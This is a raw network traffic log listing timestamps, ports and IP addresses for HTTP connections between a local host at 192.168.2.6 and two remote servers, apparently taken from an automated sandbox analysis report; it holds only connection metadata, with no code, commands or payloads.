Nov 21, 2024 14:11:32.186532021 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.186620951 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.237324953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.237433910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.237488985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.237657070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.237793922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.237842083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.238415956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.238540888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.238650084 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.239233971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.239495039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.239543915 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.239551067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.240309000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.240360022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.240387917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.241113901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.241163015 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.241281986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.241858959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.241940975 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.241965055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.242661953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.242710114 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.242783070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.243468046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.243530989 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.243552923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.244319916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.244390965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.244404078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.245157003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.245198965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.245219946 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.245836973 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.245902061 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.245929956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.246642113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.246740103 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.246773005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.247438908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.247489929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.247495890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.248270035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.248313904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.248389959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.249058008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.249124050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.249135017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.249809980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.249927998 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.249938965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.250643015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.250700951 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.250818968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.251431942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.251487970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.251588106 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.252240896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.252278090 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.252346039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.253031969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.253073931 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.253134966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.253809929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.253892899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.253909111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.254637957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.254825115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.254897118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.255465031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.255547047 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.255572081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.256298065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.256421089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.256855965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.257252932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.257307053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.257356882 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.257837057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.257900000 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.257939100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.258693933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.258749008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.258754969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.259450912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.259486914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.259517908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.260214090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.260348082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.260379076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.261002064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.261048079 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.261106014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.261831999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.261918068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.261921883 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.262646914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.262715101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.262731075 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.263462067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.263565063 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.263566971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.264405012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.264482021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.264492989 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.265130997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.265183926 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.265254021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.265983105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.266081095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.266083002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.266890049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.266984940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.267071962 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.267527103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.267580032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.267635107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.268192053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.268244982 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.268311977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.268861055 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.268963099 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.269042015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.269049883 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.269078970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.269129038 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.269805908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.269854069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.269917011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.270596027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.270673037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.270713091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.271401882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.271501064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.271542072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.272161961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.272207022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.272258043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.272989988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.273051023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.273060083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.273087025 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.273122072 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.273156881 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.273168087 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.273756981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.273793936 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.273860931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.274600029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.274657965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.274687052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.275403976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.275466919 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.275542974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.276213884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.276293993 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.276297092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.277033091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.277081013 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.277148008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.277776003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.277887106 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.277888060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.278548956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.278604031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.278609037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.281450987 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.281652927 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.284485102 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.284537077 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.284663916 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.284813881 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.292893887 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.292944908 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.292993069 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.293045998 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.301250935 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.301340103 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.301383972 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.301383972 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.309662104 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.309777975 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.309791088 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.309847116 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.318090916 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.318151951 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.318161011 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.318228006 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.320631981 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.326411009 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.326495886 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.326523066 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.327867985 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.334074974 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.334197044 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.334219933 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.334275961 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.341665983 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.341727972 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.341871977 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.342092037 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.349253893 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.349319935 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.429434061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.429543972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.429728985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.429817915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.429950953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.430068016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.430605888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.430763006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.430836916 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.431446075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.431644917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.431730032 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.431749105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.432455063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.432535887 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.432586908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.433263063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.433320999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.433330059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.434037924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.434081078 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.434156895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.434855938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.434952021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.434986115 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.435717106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.435774088 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.435851097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.436625957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.436728954 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.436742067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.437275887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.437330008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.437361956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.438054085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.438103914 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.438177109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.438925028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.439017057 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.439026117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.439650059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.439704895 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.439740896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.440445900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.440490007 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.440578938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.441274881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.441371918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.441381931 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.442081928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.442122936 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.442207098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.442842960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.442917109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.442931890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.443617105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.443703890 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.443762064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.444411993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.444473028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.444550037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.445321083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.445416927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.445444107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.446026087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.446078062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.446078062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.446811914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.446867943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.446919918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.447619915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.447705984 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.447772980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.448421001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.448481083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.448534012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.449208975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.449261904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.449325085 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.450098038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.450162888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.450226068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.450829029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.450913906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.450962067 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.451577902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.451652050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.451706886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.452450991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.452529907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.452562094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.453254938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.453368902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.453389883 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.454071999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.454174995 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.454303026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.454865932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.454926014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.455058098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.455595970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.455662012 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.455694914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.456367970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.456445932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.456495047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.457153082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.457324028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.457326889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.457968950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.458039045 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.458102942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.458751917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.458826065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.458879948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.459548950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.459603071 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.459666967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.460381985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.460462093 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.460525036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.461155891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.461209059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.461244106 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.461939096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.462024927 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.462060928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.462723017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.462800026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.462860107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.463521004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.463596106 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.463659048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.464337111 CET	80	49903	34.116.198.130	192.168.2.6
